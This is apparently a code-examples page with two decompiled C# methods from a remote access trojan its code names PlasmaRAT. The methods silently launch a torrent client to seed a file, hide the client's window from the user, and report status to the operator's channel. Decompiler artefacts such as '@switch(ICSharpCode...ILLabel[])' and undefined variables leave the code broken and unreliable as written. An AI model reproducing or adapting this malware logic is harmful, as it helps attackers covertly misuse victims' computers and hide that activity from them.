Exemplo n.º 1
0
        // Token: 0x060000B2 RID: 178 RVA: 0x0000B6B8 File Offset: 0x000098B8
        public static void SeedIt(string ClientPath, string LocalPath, string TorrentPath)
        {
            int    num;
            int    num4;
            object obj;

            try
            {
IL_00:
                ProjectData.ClearProjectError();
                num = 1;
IL_07:
                int num2 = 2;
                ProcessStartInfo processStartInfo = new ProcessStartInfo();
IL_0F:
                num2 = 3;
                processStartInfo.FileName = ClientPath;
IL_18:
                num2 = 4;
                processStartInfo.Arguments = string.Concat(new string[]
                {
                    "/DIRECTORY ",
                    LocalPath,
                    " \"",
                    TorrentPath,
                    "\""
                });
IL_61:
                num2 = 5;
                processStartInfo.CreateNoWindow = true;
IL_6A:
                num2 = 6;
                Process.Start(processStartInfo);
IL_73:
                num2 = 7;
                if (!ClientPath.Contains("uTorrent"))
                {
                    goto IL_93;
                }
IL_82:
                num2 = 8;
                Torrent.HideIt("uTorrent");
IL_8E:
                goto IL_168;
IL_93:
                num2 = 10;
                if (!ClientPath.Contains("BitTorrent"))
                {
                    goto IL_B5;
                }
IL_A3:
                num2 = 11;
                Torrent.HideIt("BitTorrent");
IL_B0:
                goto IL_168;
IL_B5:
                num2 = 13;
                if (!ClientPath.Contains("Azureus"))
                {
                    goto IL_D2;
                }
IL_C5:
                num2 = 14;
                Torrent.HideIt("Azureus");
IL_D2:
                goto IL_168;
IL_D7:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_127:
                goto IL_15D;
IL_129:
                num4 = num2;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_13A :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_129;
            }
IL_15D:
            throw ProjectData.CreateProjectError(-2146828237);
IL_168:
            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 2
0
        // Token: 0x060000AD RID: 173 RVA: 0x0000B2EC File Offset: 0x000094EC
        public static void SeedTorrent(string path)
        {
            int    num;
            int    num4;
            object obj;

            try
            {
IL_00:
                ProjectData.ClearProjectError();
                num = 1;
IL_07:
                int num2 = 2;
                if (!Torrent.IsVuze())
                {
                    goto IL_33;
                }
IL_10:
                num2 = 3;
                Torrent.SeedItVuze(Torrent.VuzePath, path);
IL_1D:
                num2 = 4;
                PlasmaRAT.TalktoChannel("Seeding Torrent With Vuze", string.Empty);
IL_2E:
                goto IL_143;
IL_33:
                num2 = 6;
                if (!Torrent.IsBitTorrent())
                {
                    goto IL_64;
                }
IL_3C:
                num2 = 7;
                Torrent.SeedIt(Torrent.BitLocalPath, Torrent.BitLocalPath, path);
IL_4E:
                num2 = 8;
                PlasmaRAT.TalktoChannel("Seeding Torrent with BitTorrent", string.Empty);
IL_5F:
                goto IL_143;
IL_64:
                num2 = 10;
                if (!Torrent.IsUtorrent())
                {
                    goto IL_98;
                }
IL_6E:
                num2 = 11;
                Torrent.SeedIt(Torrent.UTorrentPath, Torrent.UTorrentLocalPath, path);
IL_81:
                num2 = 12;
                PlasmaRAT.TalktoChannel("Seeding Torrent with uTorrent", string.Empty);
IL_93:
                goto IL_143;
IL_98:
                num2 = 14;
IL_9B:
                num2 = 15;
                PlasmaRAT.TalktoChannel("Unable to Seed: No Torrent Client Installed", string.Empty);
IL_AD:
                goto IL_143;
IL_B2:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_104:
                goto IL_138;
IL_106:
                num4 = num2;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_116 :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_106;
            }
IL_138:
            throw ProjectData.CreateProjectError(-2146828237);
IL_143:
            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }